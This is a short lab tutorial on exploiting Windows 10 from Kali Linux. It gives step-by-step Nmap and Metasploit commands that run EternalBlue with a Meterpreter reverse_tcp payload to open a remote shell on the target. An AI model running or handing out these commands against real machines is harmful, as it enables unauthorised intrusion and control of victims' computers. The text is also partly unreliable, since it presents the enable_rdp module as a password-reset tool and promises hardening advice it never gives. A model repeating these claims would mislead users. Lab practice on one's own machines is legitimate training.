Exploiting Windows 10 | Kali Linux - Windows | Lab

Introduction

This tutorial will guide you through the process of exploiting Windows 10 systems using the Kali Linux Metasploit framework. You'll learn about vulnerability discovery, password reset techniques, and how to secure your Windows machines against potential threats. This information is intended for educational purposes only and should be used responsibly.

Step 1: Setting Up Your Lab Environment

To begin, you need to set up a testing environment that consists of both a Windows 10 machine and a Kali Linux machine.

• Install Virtual Machines:

  • Use software like VirtualBox or VMware to create virtual machines.
  • Install Kali Linux on one VM and Windows 10 on another.

• Network Configuration:

  • Ensure both machines are on the same virtual network to allow communication.
  • Use a host-only or internal network setting.

Step 2: Conducting Reconnaissance

Before launching an attack, gather information about the target system.

• Use Nmap for Scanning:

  • Open a terminal in Kali Linux and run:

    nmap -sS -sV -O [target_ip]
    

  • This command performs a stealth scan, version detection, and OS identification.

• Identify Open Ports and Services:

  • Review the Nmap output to find open ports and services running on the Windows 10 machine.

Step 3: Finding Vulnerabilities

Now that you have information about the target, look for vulnerabilities.

• Use Metasploit Framework:

  • Launch Metasploit by typing msfconsole in the terminal.

• Search for Windows Vulnerabilities:

  • In Metasploit, search for known exploits:

    search type:exploit platform:windows
    

  • Review the list for potential vulnerabilities like EternalBlue.

Step 4: Exploiting the Vulnerability

Once you find a suitable vulnerability, proceed with the exploitation.

• Select the Exploit:

  • Use the exploit command to select your chosen exploit:

    use exploit/windows/smb/ms17_010_eternalblue
    

• Configure the Payload:

  • Set the payload to gain access:

    set payload windows/x64/meterpreter/reverse_tcp
    

  • Specify the target IP and your listening host:

    set RHOST [target_ip]
    set LHOST [your_ip]
    

• Execute the Exploit:

  • Launch the exploit by typing:

    exploit
    

  • If successful, you will have a Meterpreter session.

Step 5: Resetting Windows 10 Password

In case you need to reset a Windows 10 password without logging in:

Use Metasploit for Password Reset

• Use the appropriate module in Metasploit:

  use post/windows/manage/enable_rdp
  

• This allows you to reset passwords as needed.

Conclusion

In this tutorial, you learned how to exploit Windows 10 using Kali Linux and the Metasploit framework. You set up a lab environment, conducted reconnaissance, identified vulnerabilities, and executed the exploit. Additionally, you learned how to reset a Windows 10 password without logging in. Always remember to use this knowledge ethically and responsibly. As a next step, consider learning more about securing your systems against these vulnerabilities to enhance your cybersecurity skills.